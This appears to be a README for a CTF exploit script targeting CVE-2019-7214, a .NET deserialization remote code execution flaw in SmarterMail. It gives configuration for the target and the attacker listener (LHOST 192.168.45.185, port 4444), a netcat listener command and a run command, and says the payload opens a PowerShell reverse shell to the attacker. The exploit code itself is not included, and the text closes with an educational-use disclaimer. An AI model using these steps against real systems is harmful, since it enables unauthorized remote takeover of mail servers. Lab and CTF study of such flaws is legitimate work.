
For CTF use only (the CVE-2019-7214 also resolves the host from /etc/hosts)
This Python script targets a vulnerable service running on a remote Windows machine. It sends a serialized .NET payload that launches a PowerShell-based reverse shell back to the attacker's machine.
Remote Code Execution in .NET deserialization for the SmarterMail system.
Update the script’s configuration section to match your environment:
HOSTNAME = 'hostname' # Target hostname (resolved via /etc/hosts)
PORT = 9999 # Target port listening for serialized input
LHOST = '192.168.45.185' # Attacker IP (listener)
LPORT = 4444 # Attacker listening port
nc -lvnp 4444
python3 CVE-2019-7214 .py
If successful, you'll get a PowerShell prompt from the target on your listener.
System.Management.Automation functionality.This script is provided for educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.